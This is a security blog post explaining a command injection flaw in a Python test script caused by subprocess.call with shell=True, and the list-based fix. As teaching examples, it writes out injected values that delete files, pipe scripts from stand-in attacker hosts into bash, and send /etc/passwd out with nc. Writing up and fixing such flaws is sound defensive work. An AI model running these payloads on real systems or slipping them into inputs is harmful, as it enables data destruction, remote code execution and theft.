Back to Blog
critical SEVERITY7 min read

Critical Command Injection Fixed in Python Test Script

A critical command injection vulnerability was discovered in a Python snapshot testing script that used subprocess.call() with shell=True, allowing potential execution of arbitrary shell commands. This vulnerability highlights the dangers of passing unsanitized input to shell interpreters and demonstrates why shell=True should be avoided in subprocess calls.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published April 13, 2026•Reviewed June 3, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python snapshot testing script that used `subprocess.call()` with `shell=True`. When `shell=True` is set, Python passes the command string to the system shell (`/bin/sh`), which interprets shell metacharacters like `;`, `|`, and `$()`. An attacker who can influence any part of the command string can inject arbitrary shell commands. The fix is to remove `shell=True` and pass the command as a list of arguments instead, bypassing the shell interpreter entirely.

Vulnerability at a Glance

cweCWE-78
fixRemove shell=True and pass command arguments as a list to bypass shell interpretation
riskArbitrary shell command execution on the host system
languagePython
root causesubprocess.call() invoked with shell=True, passing unsanitized input to /bin/sh
vulnerabilityCommand Injection via subprocess.call() with shell=True

Introduction

Command injection vulnerabilities remain one of the most dangerous security flaws in modern applications. Despite being well-documented and preventable, they continue to appear in codebases, often in seemingly innocuous places like test scripts. Recently, a critical severity command injection vulnerability (V-001) was discovered and fixed in a Python snapshot generation script, serving as an important reminder about the risks of shell command execution.

This vulnerability affected tests/snapshots/generate_snapshots.py, where subprocess calls were being executed through the system shell without proper input sanitization. While test scripts might seem like low-risk targets, they're often executed in CI/CD pipelines with elevated privileges, making them attractive targets for supply chain attacks.

The Vulnerability Explained

What is Command Injection?

Command injection occurs when an application passes unsanitized data to a system shell interpreter. The shell then executes this data as commands, potentially allowing attackers to run arbitrary code on the system. This vulnerability is particularly severe because it can lead to:

  • Complete system compromise - Attackers can execute any command the application has permissions for
  • Data exfiltration - Sensitive data can be stolen from the filesystem or environment
  • Lateral movement - Compromised systems can be used as pivot points to attack other systems
  • Supply chain attacks - Malicious code can be injected into build processes

The Technical Details

The vulnerability existed at line 32 of generate_snapshots.py, where the code used Python's subprocess.call() function with the dangerous shell=True parameter:

# VULNERABLE CODE (Before Fix)
subprocess.call(command, shell=True)

When shell=True is set, Python doesn't execute the command directly. Instead, it passes the entire command string to the system shell (/bin/sh on Unix, cmd.exe on Windows), which interprets special characters and operators.

How Could It Be Exploited?

Consider if the command variable was constructed using external input:

# Example vulnerable scenario
filename = get_user_input()  # Could come from config, env vars, or CLI args
command = f"generate_snapshot --file {filename}"
subprocess.call(command, shell=True)

An attacker could inject shell metacharacters to execute arbitrary commands:

# Malicious input
filename = "test.txt; rm -rf / #"

# Resulting command executed by shell
"generate_snapshot --file test.txt; rm -rf / #"

The shell would interpret this as three separate operations:
1. generate_snapshot --file test.txt - The intended command
2. rm -rf / - A destructive command to delete files
3. # - Comments out the rest (if any)

Real-World Attack Scenarios

Scenario 1: CI/CD Pipeline Compromise

# Attacker modifies a configuration file in a pull request
config.yml: 
  snapshot_name: "test; curl attacker.com/malware.sh | bash #"

# When CI runs the test script, it executes the malicious payload

Scenario 2: Environment Variable Poisoning

# Script reads from environment variable
command = f"snapshot {os.environ.get('SNAPSHOT_TYPE', 'default')}"
subprocess.call(command, shell=True)

# Attacker sets environment variable
export SNAPSHOT_TYPE="default; cat /etc/passwd | nc attacker.com 4444 #"

Scenario 3: Configuration File Injection

# Reading snapshot targets from a JSON config
with open('snapshot_config.json') as f:
    targets = json.load(f)['targets']

for target in targets:
    command = f"generate_snapshot --target {target}"
    subprocess.call(command, shell=True)  # VULNERABLE!

The Fix

What Changed?

The fix involves removing shell=True and properly sanitizing any subprocess calls. There are several secure approaches:

Option 1: Use shell=False with a list (RECOMMENDED)

# SECURE CODE (After Fix)
# Pass command as a list, not a string
subprocess.call(['generate_snapshot', '--file', filename])

When you pass a list to subprocess.call() without shell=True, Python executes the command directly without invoking a shell interpreter. This means:
- Shell metacharacters (; | & $ ( ) < > etc.) are treated as literal strings
- No command substitution or variable expansion occurs
- Each list element is treated as a separate argument

Option 2: Use shlex.quote() for shell=True cases

# If shell=True is absolutely necessary
import shlex

filename = shlex.quote(user_input)
command = f"generate_snapshot --file {filename}"
subprocess.call(command, shell=True)

Option 3: Use subprocess.run() with modern Python

# Python 3.5+ recommended approach
import subprocess

result = subprocess.run(
    ['generate_snapshot', '--file', filename],
    capture_output=True,
    text=True,
    check=True  # Raises exception on non-zero exit
)

How Does This Solve the Problem?

By removing shell=True and using a list of arguments, the fix ensures that:

  1. No shell interpretation occurs - Arguments are passed directly to the program
  2. Metacharacters are neutralized - Special characters are treated as literal data
  3. Command boundaries are preserved - It's impossible to chain multiple commands
  4. Injection is prevented - Even malicious input can't escape the argument context

Before and After Comparison

# ❌ BEFORE (Vulnerable)
def generate_snapshot(snapshot_type):
    command = f"python generate.py --type {snapshot_type}"
    subprocess.call(command, shell=True)

# Attack vector:
generate_snapshot("test; curl evil.com/backdoor.sh | bash")
# Executes: python generate.py --type test; curl evil.com/backdoor.sh | bash

# ✅ AFTER (Secure)
def generate_snapshot(snapshot_type):
    subprocess.call(['python', 'generate.py', '--type', snapshot_type])

# Same attack attempt:
generate_snapshot("test; curl evil.com/backdoor.sh | bash")
# Executes: python generate.py --type "test; curl evil.com/backdoor.sh | bash"
# The malicious payload is treated as a literal filename, causing the script to fail safely

Conclusion

The fix for V-001 demonstrates a crucial security principle: never trust data that crosses a security boundary. Even in test scripts that seem isolated from user input, external data can enter through environment variables, configuration files, or command-line arguments.

Key Takeaways

  1. Default to shell=False: Use subprocess.call(['cmd', 'arg']) instead of subprocess.call('cmd arg', shell=True)
  2. Validate all inputs: Even "internal" data sources can be compromised
  3. Use modern APIs: subprocess.run() offers better security and error handling
  4. Automate detection: Integrate security scanners into your CI/CD pipeline
  5. Think like an attacker: Consider how each input could be manipulated

Command injection vulnerabilities are entirely preventable with proper coding practices. By understanding the risks and following secure coding guidelines, we can eliminate this entire class of vulnerabilities from our applications.

Remember: security isn't just about protecting production code—test scripts, build tools, and development utilities are all part of your attack surface. Treat them with the same security rigor as your main application code.

Stay secure, and always question whether that shell=True is really necessary!


For more information on secure subprocess usage, consult the Python subprocess documentation and OWASP Command Injection Prevention Cheat Sheet.

Prevention and further reading

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.